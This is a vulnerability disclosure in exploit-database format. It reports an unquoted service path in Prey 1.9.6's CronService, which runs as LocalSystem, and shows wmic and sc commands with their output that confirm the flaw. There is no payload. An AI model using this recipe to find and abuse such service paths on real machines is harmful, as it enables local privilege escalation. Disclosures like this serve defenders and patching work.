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Prey 1.9.6 - "CronService" Unquoted Service Path


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# Exploit Title: Prey 1.9.6 - "CronService" Unquoted Service Path
# Discovery by: Ömer Tuygun
# Discovery Date:16.10.2020
# Vendor Homepage: https://preyproject.com/
# Software Link: https://preyproject.com/download/
# Tested Version: 1.9.6
# Vulnerability Type: Unquoted Service Path
# Tested on OS: Windows 10 Pro x64 es

# Description:
A successful attempt would require the local user to be able to insert
their code in the system root path undetected by the OS or other
security applications
where it could potentially be executed during application startup or
reboot. If successful, the local user's code would execute with the
elevated privileges
of the application.

C:\Users>wmic service get name, pathname, displayname, startmode |
findstr /i "Auto" | findstr /i /v "C:\Windows\\" | findstr /i "Prey" |
findstr /i /v """
Cron Service
C:\Program Files (x86)\Prey\wpxsvc.exe


C:\Users>sc qc CronService
[SC] QueryServiceConfig SUCCESS

        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Program Files (x86)\Prey\wpxsvc.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : Cron Service
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem

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